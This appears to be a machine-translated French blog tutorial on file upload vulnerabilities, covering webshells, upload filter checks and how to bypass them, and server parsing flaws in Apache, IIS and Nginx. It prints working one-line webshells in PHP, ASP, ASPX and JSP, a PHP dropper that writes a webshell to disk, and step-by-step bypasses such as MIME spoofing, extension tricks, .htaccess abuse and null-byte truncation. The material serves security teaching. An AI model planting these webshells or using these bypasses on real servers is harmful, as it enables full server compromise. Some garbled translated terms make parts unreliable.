[Sécurité réseau] Explication détaillée des vulnérabilités de téléchargement de fichiers

Vulnérabilité de téléchargement de fichiers

1. Qu'est-ce que le téléchargement de fichiers

Encapsulez les données du client sous la forme d'un fichier et envoyez-le au serveur via le protocole réseau. Les données sont analysées côté serveur et finalement enregistrées sous forme de fichier réel sur le disque dur du serveur.

Habituellement, lorsqu'un fichier est téléchargé avec le protocole HTTP, une requête POST est envoyée au serveur Web. Une fois que le serveur Web reçoit la demande et accepte, l'utilisateur établira une connexion avec le serveur Web et transmettra les données.

2. La raison de la vulnérabilité dans le téléchargement de fichiers

mauvaise configuration du serveur

Les restrictions de téléchargement de fichiers sont contournées et le filtrage est laxiste

Vulnérabilité de téléchargement de fichiers dans les éditeurs Open Source

La vulnérabilité d'analyse de fichiers conduit à l'exécution de fichiers

3. Risques de vulnérabilité de téléchargement de fichiers

Les attaquants téléchargent des fichiers malveillants et les transmettent à l'interpréteur pour exécution, puis exécutent des codes malveillants sur le serveur, effectuent des opérations malveillantes telles que l'exécution de la base de données, la gestion des fichiers du serveur et l'exécution des commandes, contrôlant ainsi l'ensemble du site Web et du serveur.

Ce fichier malveillant est également connu sous le nom de WebShell.

Emplacements potentiellement vulnérables

Fonction de téléchargement d'images

Fonction de téléchargement d'avatar

Fonction de téléchargement de documents

4.webshell

apprendre

webshell est un environnement d'exécution de commandes sous la forme de pages Web telles que asp, jsp ou cgi, et peut également être appelé porte dérobée de cheval de Troie de page Web.

Les attaquants peuvent utiliser cette porte dérobée de page Web pour obtenir l'autorité de fonctionnement du serveur de site Web, contrôler le serveur de site Web pour télécharger et télécharger des fichiers, afficher la base de données, exécuter des commandes, etc.

porte arrière

Il y a 65535 ports sur un ordinateur. Chaque port est une porte ouverte par l'ordinateur pour se connecter avec le monde extérieur. Chaque porte a certains services fournis par l'ordinateur. Les attaquants utilisent ces services pour obtenir l'autorité du serveur et laisser derrière eux un dos porte.

Classification
  1. Classé par taille de fichier :

    Cheval de Troie d'une phrase : généralement une seule ligne de code

    Poney : inclut uniquement la fonction de téléchargement de fichiers

    Malaisie : Contient de nombreuses fonctions, et le code est généralement crypté et caché

  2. Classé par type de script

    jsp

    aspic

    aspx

    php

caractéristiques
  1. La plupart des webshells apparaissent sous la forme de scripts dynamiques
  2. webshell est un cheval de Troie asp ou php
  3. Le webshell peut traverser le pare-feu du serveur, et les données échangées entre l'attaquant et le serveur contrôlé sont transmises via le port 80
  4. Généralement, le webshell ne laissera pas d'enregistrements dans le journal système, mais ne laissera que des enregistrements de transfert de données dans le journal Web.
processus d'attaque
  1. Utiliser les vulnérabilités Web pour obtenir des autorisations Web
  2. télécharger poney
  3. Télécharger la Malaisie
  4. Invoquez Webshell à distance pour exécuter des commandes
Webshells courants

PHP

<?php eval($_GET[pass]);?> <?php eval($_POST[pass]);?>

pass est un paramètre qui doit être répercuté dans l'URL après l'ouverture du cheval de Troie

http.../?pass = phpinfo(); ou system(ipconfig); et autres commandes

ASPIC

<%requête d'évaluation(“pass”)%>

ASPX

<%@ Page Language=“Jscript”%><%eval(Request.Item[“pass”])%>

JSP

<%Runtime.getRuntime().exec(request.getParameter(“i”)));%>

5. Le principe de base du webshell

1. Script exécutable

Paquet HTTP

2. Transfert de données

3. Exécutez les données transmises

exécution directe

le fichier contient l'implémentation

​ Exécution dynamique des fonctions

fonction de rappel

un mot poney
<?php fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>');?>

Créez un fichier up.php dans le répertoire courant, et le contenu du fichier est du code PHP

télécharger la malaisie via poney

Utilisez l'outil base64 pour convertir le code PHP en une chaîne (nécessite un encodage secondaire pour supprimer les caractères spéciaux tels que +=)

Créez up.php, écrivez le fichier télécharger le code PHP dans up.php

<?php fputs(fopen(base64_decode(dXAucGhw),w),base64_decode(base64_decode(PHP code encoding)));?>

base64_decode() effectue le traitement de décodage dXAucGhw est le traitement d'encodage de up.php.

Après cela, il peut être importé en Malaisie via la fonction de téléchargement de fichier.

6. outil de gestion webshell

1. Couteau de cuisine chinois (caidao) (relativement en arrière, avec une porte arrière)

2.c couteau (couteau)

3.Weevely3 (inclus dans kali)

4. Épée fourmi chinoise (AntSword)

5. Scorpion de glace (derrière)

La transmission des données sera cryptée, ce qui peut très bien contourner le pare-feu.

7. Méthode de détection de téléchargement de fichiers

Détection JavaScript côté client ( détection des extensions de fichiers ) (détection frontale)

Détection de type MIME côté serveur ( détection de contenu de type contenu )

Manuel de référence MIME (w3school.com.cn)

Détection du chemin du répertoire côté serveur ( détection du contenu lié au paramètre du chemin racine )

Détection d'extension de fichier côté serveur ( détection de contenu lié à l'extension de fichier )

Détection du contenu des fichiers côté serveur ( vérifier si le contenu est légal, s'il contient du code malveillant, etc. )

8. Méthode de contournement

Utilisez l'outil burpsuite pour capturer les paquets, puis modifiez le fichier pour répondre au formulaire de détection du serveur.

Contourner la détection côté client (détection JavaScript frontale)

Principe de détection client :

Habituellement, la page de téléchargement contient du code JavaScript qui détecte spécifiquement les téléchargements de fichiers, et le plus courant consiste à détecter si le type de fichier et l'extension sont légaux.


méthode:

Désactivez simplement JS dans le client du navigateur local.

Cela peut être réalisé en utilisant le plug-in NoScript du navigateur Firefox, en désactivant JS dans IE, etc.


Contourner la détection du serveur

Principe de détection de serveur :

Le code côté serveur vérifie généralement trois points :

Type MIME, suffixe de fichier, contenu du fichier

[Le transfert d'image du lien externe a échoué, le site source peut avoir un mécanisme anti-leeching, il est recommandé d'enregistrer l'image et de la télécharger directement (img-afZHgJBZ-1677413271759) (C:\Users\wrz\AppData\Roaming\Typora\ typora-user-images\image-20230226183230079.png)]

Numéro magique de fichier : les premiers octets du fichier peuvent identifier le type de fichier.

Le nombre magique du format de fichier Format de fichier et nombre magique

Utilisez l'outil WinHex pour afficher le nombre magique du fichier correspondant.


Méthode de contournement :

1. Contourner la détection de type MIME

principe:

Détectez la valeur du champ Content-Type du paquet http pendant le processus de téléchargement des fichiers de type image pour déterminer si le fichier téléchargé est légal.

méthode:

Utilisez burpsuite pour intercepter et modifier le type de type de contenu du fichier de paquets à contourner.


2. Contourner la détection de suffixe de fichier - liste noire

Principe (stratégie liste noire) :

Les extensions de fichiers sont illégales dans la liste noire. Généralement, il existe une liste noire spéciale, qui contient des fichiers de script dangereux courants.

méthode:

  1. Contournement de la casse du suffixe (.pHp)

    Dans le jugement du suffixe, si vous comparez uniquement les chaînes séparément pour déterminer s'il s'agit d'un fichier restreint, vous pouvez utiliser la casse du nom du suffixe pour contourner.

  2. Contournement d'espace (.php)

    Si la liste noire ne vide pas le nom du suffixe

    Il peut être contourné en ajoutant un espace après le nom du suffixe.

  3. contournement de points (.php.)

    Si la liste noire ne supprime pas le nom du suffixe

    En utilisant la fonction de nom de fichier du système Windows, le dernier point du suffixe sera automatiquement supprimé et le suffixe du nom de fichier peut être contourné en ajoutant un point.

  4. :: $ Contournement des données

    Si la liste noire n'est pas faite allez ::$DATA processing

    En utilisant une fonctionnalité du système de fichiers NTFS sous Windows, vous pouvez ajouter ::$DATA après le nom du suffixe pour contourner la détection de la liste noire.

    Windows filtrera automatiquement ::$DATA.

  5. Coopérer avec Apache pour résoudre les vulnérabilités

    L'analyse Apache a une fonctionnalité :

    Le fichier d'analyse est jugé de droite à gauche, et si l'analyse n'est pas reconnaissable, alors jugez à gauche.

    Comme le fichier aa.php.owf.rar, Apache ne reconnaît pas et n'analyse pas rar et owf, il sera analysé dans le fichier php.

  6. Fichier .htaccess (fichier de configuration distribué)

    Coopérez avec le contournement de liste, téléchargez un fichier .htaccess personnalisé, vous pouvez facilement contourner diverses détections.

    Le fichier .htaccess est appelé Accès hypertexte (Accès hypertexte).

    Fournit des méthodes pour modifier la configuration d'un répertoire.

    Lorsque le fichier est téléchargé sur le serveur, le serveur trouvera le fichier .htaccess pour lire et analyser la configuration.

    Cette configuration peut être personnalisée pour que les fichiers contournent la détection.


3. Contourner la détection de suffixe de fichier - liste blanche

Principe (stratégie de liste blanche) :

Les extensions de fichiers qui ne sont pas dans la liste blanche sont illégales.

Méthode de contournement :

Le serveur évalue le type de fichier de l'arrière vers l'avant et analyse le fichier de l'avant vers l'arrière.

Il peut être contourné par la troncature 00, y compris la troncature %00 et la troncature 0X00.

Exemple : Téléchargez un fichier nommé aa.php%00.png

Le serveur juge le type de fichier de l'arrière vers l'avant. Lorsque le serveur lit %00, il l'analyse en 0X00. Lorsqu'il y a 0X00, il ignore automatiquement le contenu après 0X00.

Ensuite, ce fichier sera téléchargé en tant que fichier png, en contournant la liste blanche.

Lorsque le serveur enregistre le fichier, il l'analyse d'avant en arrière, ignore automatiquement .png et l'enregistre en tant que fichier php.

Remarque :

Dans l'url, il devient aa.php%00.png Dans l'extension de fichier, %00 doit être décodé puis ajouté à l'extension de fichier.

Utilisez l'outil burpsuite pour ajouter, ajoutez d'abord un espace où %00 doit être ajouté, puis vérifiez la position HEX, l'HEX de l'espace est 20, changez cette position en 00, qui est le décodage de %00.


4. Contourner la détection du contenu du fichier

principe:

Généralement, il est jugé si le fichier téléchargé est légal en détectant le contenu du fichier.

Deux méthodes de détection :

En détectant le numéro magique du fichier.

Appelez l'API ou la fonction pour tester la charge du fichier. Le plus courant est le test de rendu d'image (peut-être un test de rendu secondaire).

Méthode de contournement :

  1. Contourner la détection du nombre magique de fichiers

​ Ajoutez le numéro magique du fichier correspondant au début du fichier.

​ Par exemple : pour contourner la détection du nombre magique des fichiers jpg, ajoutez FF D8 FF E0 10 4A 46 49 46

  1. Contourner la détection de chargement de fichiers

Attaques de test de rendu/chargement - Contournement de l'injection de code

Principe d'attaque

Trouvez un espace vide pour remplir le code sans détruire le rendu du fichier lui-même

​ Généralement, c'est la zone de commentaire de l'image, qui peut garantir l'intégrité de la structure du fichier.

Méthode d'attaque sur le rendu secondaire ----- attaque le chargeur de fichiers lui-même

Principe d'attaque

​ Attaquer le chargeur de fichiers par une attaque par débordement,

Après avoir téléchargé des fichiers malveillants, le chargeur de fichiers sur le serveur effectuera un test actif et l'attaque par débordement exécute le shellcode pendant le test de chargement.

9. Vulnérabilité d'analyse Web

Vulnérabilité d'analyse Apache

Le fichier d'analyse est jugé de droite à gauche, et si l'analyse n'est pas reconnaissable, alors jugez à gauche.

Comme le fichier aa.php.owf.rar, Apache ne reconnaît pas et n'analyse pas rar et owf, il sera analysé dans le fichier php.

Vulnérabilité d'analyse IIS6.0

1. Analyse du répertoire

Formulaire : www.xxx.com/xx.asp/xx.jpg

Principe : Le serveur parsera tous les fichiers du répertoire .asp en fichiers asp par défaut.

2. Analyse du dossier

Format : www.xxx.com/xx.asp;.jpg

Principe : Le serveur ne parse pas le contenu après le point-virgule par défaut, donc xx.asp;jpg est parsé dans un fichier asp

Vulnérabilité d'analyse IIS7.0

Format : n'importe quel nom de fichier/n'importe quel nom de fichier.php

**Principe : **IIS7.0/7.5 présente une vulnérabilité d'analyse similaire à Nginx lors de l'analyse de php.

Pour tout nom de fichier, tant que la chaîne "/any file name.php" est ajoutée après l'URL, il sera analysé à la manière de PHP

Vulnérabilité d'analyse Nginx

Formulaire 1 : Nom de fichier arbitraire/nom de fichier arbitraire.php

**Principe :**Ajoutez "/any file name.php" à n'importe quel nom de fichier et il sera analysé en fonction de php, tel que test.jpg/x.php

Formulaire 2 : N'importe quel nom de fichier%00.php

Pour la version inférieure de Nginx, %00.php peut être ajouté après n'importe quel nom de fichier pour l'attaque d'analyse

(Version Nginx <=0.8.37)

Je suppose que tu aimes

Origine blog.csdn.net/love_wgll/article/details/129230797
conseillé
Classement